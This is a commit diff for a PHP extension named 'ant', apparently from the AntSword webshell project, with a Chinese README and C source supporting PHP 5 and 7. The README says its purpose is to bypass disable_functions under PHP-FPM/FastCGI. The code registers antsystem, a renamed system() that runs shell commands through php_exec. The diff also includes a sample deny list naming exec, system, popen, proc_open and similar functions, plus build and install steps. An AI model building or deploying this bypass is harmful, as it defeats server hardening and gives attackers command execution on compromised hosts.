兼容 PHP5 PHP7

README.md

@@ -0,0 +1,43 @@
+# Ant PHP Extension
+
+PHP 扩展, 用于 PHP-FPM、FastCGI 模式下突破 `disabled_functions`。
+
+### 原理
+
+加载该扩展后, 可使用函数 `antsystem` 执行命令(相当于 `system` 别名)
+
+eg:
+
+```php
+<?php antsystem('whoami'); ?>
+```
+
+### php.ini 样例
+
+```
+disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,system
+```
+
+### 编译
+
+```bash
+$ cd ant_php_extension/
+$ phpize && ./configure && make
+```
+
+编译完成后当前目录下的 `ant.so` 则是需要的文件
+
+### 安装到本机
+
+```bash
+$ cd ant_php_extension/
+$ phpize && ./configure && make
+$ make install
+
+# 测试
+$ php -d enable_dl=On ant.php
+```
+
+### 相关链接
+
+* [AntSword](github.com/antswordproject/antsword)

ant.c

@@ -1,6 +1,6 @@
 /*
   +----------------------------------------------------------------------+
-  | PHP Version 7                                                        |
+  | PHP Version 5, 7                                                        |
   +----------------------------------------------------------------------+
   | Copyright (c) 1997-2018 The PHP Group                                |
   +----------------------------------------------------------------------+
@@ -12,7 +12,7 @@
   | obtain it through the world-wide-web, please send a note to          |
   | [email protected] so we can mail you a copy immediately.               |
   +----------------------------------------------------------------------+
-  | Author:                                                              |
+  | Author: github.com/antswordproject                                   |
   +----------------------------------------------------------------------+
 */
 
@@ -25,6 +25,7 @@
 #include "php.h"
 #include "php_ini.h"
 #include "ext/standard/info.h"
+#include "ext/standard/exec.h"
 #include "php_ant.h"
 
 /* If you declare any globals in php_ant.h uncomment this:
@@ -34,6 +35,44 @@ ZEND_DECLARE_MODULE_GLOBALS(ant)
 /* True global resources - no need for thread safety here */
 static int le_ant;
 
+/* {{{ ext/standard/basic_functions.c for exec.c */
+ZEND_BEGIN_ARG_INFO_EX(arginfo_system, 0, 0, 1)
+    ZEND_ARG_INFO(0, command)
+    ZEND_ARG_INFO(1, return_value)
+ZEND_END_ARG_INFO()
+/* }}} */
+
+/* {{{ ant_functions[]
+ *
+ * Every user visible function must have an entry in ant_functions[].
+ */
+const zend_function_entry ant_functions[] = {
+    PHP_FE(confirm_ant_compiled,    NULL)       /* For testing, remove later. */
+    PHP_FE(antsystem,               arginfo_system)
+    PHP_FE_END  /* Must be the last line in ant_functions[] */
+};
+/* }}} */
+
+/* {{{ ant_module_entry
+ */
+zend_module_entry ant_module_entry = {
+#if ZEND_MODULE_API_NO >= 20010901
+    STANDARD_MODULE_HEADER,
+#endif
+    "ant",
+    ant_functions,
+    PHP_MINIT(ant),
+    PHP_MSHUTDOWN(ant),
+    PHP_RINIT(ant),     /* Replace with NULL if there's nothing to do at request start */
+    PHP_RSHUTDOWN(ant), /* Replace with NULL if there's nothing to do at request end */
+    PHP_MINFO(ant),
+#if ZEND_MODULE_API_NO >= 20010901
+    PHP_ANT_VERSION,
+#endif
+    STANDARD_MODULE_PROPERTIES
+};
+/* }}} */
+
 /* {{{ PHP_INI
  */
 /* Remove comments and fill if you need to have entries in php.ini
@@ -53,18 +92,113 @@ PHP_INI_END()
    Return a string to confirm that the module is compiled in */
 PHP_FUNCTION(confirm_ant_compiled)
 {
-	char *arg = NULL;
-	size_t arg_len, len;
-	zend_string *strg;
+#if PHP_MAJOR_VERSION == 7
+    char *arg = NULL;
+    size_t arg_len, len;
+    zend_string *strg;
 
-	if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
-		return;
-	}
+    if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
+        return;
+    }
 
-	strg = strpprintf(0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "ant", arg);
+    strg = strpprintf(0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "ant", arg);
 
-	RETURN_STR(strg);
-}
+    RETURN_STR(strg);
+
+#elif PHP_MAJOR_VERSION == 5
+    char *arg = NULL;
+    int arg_len, len;
+    char *strg;
+
+    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) {
+        return;
+    }
+
+    len = spprintf(&strg, 0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "ant", arg);
+    RETURN_STRINGL(strg, len, 0);
+#else
+#endif
+};
+/* }}} */
+
+
+static void ant_php_exec_ex(INTERNAL_FUNCTION_PARAMETERS, int mode) /* {{{ */
+{
+    char *cmd;
+    zval *ret_code=NULL, *ret_array=NULL;
+    int ret;
+#if PHP_MAJOR_VERSION == 5
+    int cmd_len;
+
+    if (mode) {
+        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z/", &cmd, &cmd_len, &ret_code) == FAILURE) {
+            RETURN_FALSE;
+        }
+    } else {
+        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|z/z/", &cmd, &cmd_len, &ret_array, &ret_code) == FAILURE) {
+            RETURN_FALSE;
+        }
+    }
+    if (!cmd_len) {
+        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Cannot execute a blank command");
+        RETURN_FALSE;
+    }
+    if (!ret_array) {
+        ret = php_exec(mode, cmd, NULL, return_value TSRMLS_CC);
+    } else {
+        if (Z_TYPE_P(ret_array) != IS_ARRAY) {
+            zval_dtor(ret_array);
+            array_init(ret_array);
+        }
+        ret = php_exec(2, cmd, ret_array, return_value TSRMLS_CC);
+    }
+#elif PHP_MAJOR_VERSION == 7
+
+    size_t cmd_len;
+
+    ZEND_PARSE_PARAMETERS_START(1, (mode ? 2 : 3))
+        Z_PARAM_STRING(cmd, cmd_len)
+        Z_PARAM_OPTIONAL
+        if (!mode) {
+            Z_PARAM_ZVAL_DEREF(ret_array)
+        }
+        Z_PARAM_ZVAL_DEREF(ret_code)
+    ZEND_PARSE_PARAMETERS_END_EX(RETURN_FALSE);
+
+    if (!cmd_len) {
+        php_error_docref(NULL, E_WARNING, "Cannot execute a blank command");
+        RETURN_FALSE;
+    }
+    if (strlen(cmd) != cmd_len) {
+        php_error_docref(NULL, E_WARNING, "NULL byte detected. Possible attack");
+        RETURN_FALSE;
+    }
+    if (!ret_array) {
+        ret = php_exec(mode, cmd, NULL, return_value);
+    } else {
+        if (Z_TYPE_P(ret_array) != IS_ARRAY) {
+            zval_ptr_dtor(ret_array);
+            array_init(ret_array);
+        } else if (Z_REFCOUNT_P(ret_array) > 1) {
+            zval_ptr_dtor(ret_array);
+            ZVAL_ARR(ret_array, zend_array_dup(Z_ARR_P(ret_array)));
+        }
+        ret = php_exec(2, cmd, ret_array, return_value);
+    }
+#endif
+    if (ret_code) {
+        zval_ptr_dtor(ret_code);
+        ZVAL_LONG(ret_code, ret);
+    }
+};
+/* }}} */
+
+/* {{{ proto int antsystem(string command [, int &return_value])
+   Execute an external program and display output */
+PHP_FUNCTION(antsystem)
+{
+    ant_php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1);
+};
 /* }}} */
 /* The previous line is meant for vim and emacs, so it can correctly fold and
    unfold functions in source code. See the corresponding marks just before
@@ -111,11 +245,13 @@ PHP_MSHUTDOWN_FUNCTION(ant)
  */
 PHP_RINIT_FUNCTION(ant)
 {
+#if PHP_MAJOR_VERSION == 7
 #if defined(COMPILE_DL_ANT) && defined(ZTS)
-	ZEND_TSRMLS_CACHE_UPDATE();
+    ZEND_TSRMLS_CACHE_UPDATE();
+#endif
 #endif
 	return SUCCESS;
-}
+};
 /* }}} */
 
 /* Remove if there's nothing to do at request end */
@@ -124,7 +260,7 @@ PHP_RINIT_FUNCTION(ant)
 PHP_RSHUTDOWN_FUNCTION(ant)
 {
 	return SUCCESS;
-}
+};
 /* }}} */
 
 /* {{{ PHP_MINFO_FUNCTION
@@ -138,39 +274,17 @@ PHP_MINFO_FUNCTION(ant)
 	/* Remove comments if you have entries in php.ini
 	DISPLAY_INI_ENTRIES();
 	*/
-}
-/* }}} */
-
-/* {{{ ant_functions[]
- *
- * Every user visible function must have an entry in ant_functions[].
- */
-const zend_function_entry ant_functions[] = {
-	PHP_FE(confirm_ant_compiled,	NULL)		/* For testing, remove later. */
-	PHP_FE_END	/* Must be the last line in ant_functions[] */
-};
-/* }}} */
-
-/* {{{ ant_module_entry
- */
-zend_module_entry ant_module_entry = {
-	STANDARD_MODULE_HEADER,
-	"ant",
-	ant_functions,
-	PHP_MINIT(ant),
-	PHP_MSHUTDOWN(ant),
-	PHP_RINIT(ant),		/* Replace with NULL if there's nothing to do at request start */
-	PHP_RSHUTDOWN(ant),	/* Replace with NULL if there's nothing to do at request end */
-	PHP_MINFO(ant),
-	PHP_ANT_VERSION,
-	STANDARD_MODULE_PROPERTIES
 };
 /* }}} */
 
 #ifdef COMPILE_DL_ANT
+#if PHP_MAJOR_VERSION == 7
+
 #ifdef ZTS
 ZEND_TSRMLS_CACHE_DEFINE()
 #endif
+
+#endif /* PHP_MAJOR_VERSION */
 ZEND_GET_MODULE(ant)
 #endif
 

config.m4

@@ -7,14 +7,14 @@ dnl without editing.
 
 dnl If your extension references something external, use with:
 
-dnl PHP_ARG_WITH(ant, for ant support,
-dnl Make sure that the comment is aligned:
-dnl [  --with-ant             Include ant support])
+PHP_ARG_WITH(ant, for ant support,
+Make sure that the comment is aligned:
+[  --with-ant             Include ant support])
 
 dnl Otherwise use enable:
 
 PHP_ARG_ENABLE(ant, whether to enable ant support,
-dnl Make sure that the comment is aligned:
+Make sure that the comment is aligned:
 [  --enable-ant           Enable ant support])
 
 if test "$PHP_ANT" != "no"; then
@@ -77,5 +77,6 @@ if test "$PHP_ANT" != "no"; then
   dnl
   dnl PHP_SUBST(ANT_SHARED_LIBADD)
 
-  PHP_NEW_EXTENSION(ant, ant.c, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
+  dnl PHP_NEW_EXTENSION(ant, ant.c, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
+  PHP_NEW_EXTENSION(ant, ant.c, $ext_shared)
 fi

php_ant.h

@@ -1,6 +1,6 @@
 /*
   +----------------------------------------------------------------------+
-  | PHP Version 7                                                        |
+  | PHP Version 5, 7                                                     |
   +----------------------------------------------------------------------+
   | Copyright (c) 1997-2018 The PHP Group                                |
   +----------------------------------------------------------------------+
@@ -12,7 +12,7 @@
   | obtain it through the world-wide-web, please send a note to          |
   | [email protected] so we can mail you a copy immediately.               |
   +----------------------------------------------------------------------+
-  | Author:                                                              |
+  | Author: github.com/antswordproject                                   |
   +----------------------------------------------------------------------+
 */
 
@@ -38,6 +38,15 @@ extern zend_module_entry ant_module_entry;
 #include "TSRM.h"
 #endif
 
+PHP_MINIT_FUNCTION(ant);
+PHP_MSHUTDOWN_FUNCTION(ant);
+PHP_RINIT_FUNCTION(ant);
+PHP_RSHUTDOWN_FUNCTION(ant);
+PHP_MINFO_FUNCTION(ant);
+
+PHP_FUNCTION(confirm_ant_compiled);
+PHP_FUNCTION(antsystem); /* php system */
+
 /*
   	Declare any global variables you may need between the BEGIN
 	and END macros here:
@@ -47,7 +56,7 @@ ZEND_BEGIN_MODULE_GLOBALS(ant)
 	char *global_string;
 ZEND_END_MODULE_GLOBALS(ant)
 */
-
+#if PHP_MAJOR_VERSION == 7
 /* Always refer to the globals in your function as ANT_G(variable).
    You are encouraged to rename these macros something shorter, see
    examples in any other php module directory.
@@ -58,6 +67,18 @@ ZEND_END_MODULE_GLOBALS(ant)
 ZEND_TSRMLS_CACHE_EXTERN()
 #endif
 
+#elif PHP_MAJOR_VERSION == 5
+
+#ifdef ZTS
+#define ANT_G(v) TSRMG(ant_globals_id, zend_ant_globals *, v)
+#else
+#define ANT_G(v) (ant_globals.v)
+#endif
+
+#else /* PHP_MAJOR_VERSION */
+
+#endif /* PHP_MAJOR_VERSION */
+
 #endif	/* PHP_ANT_H */
 
 /*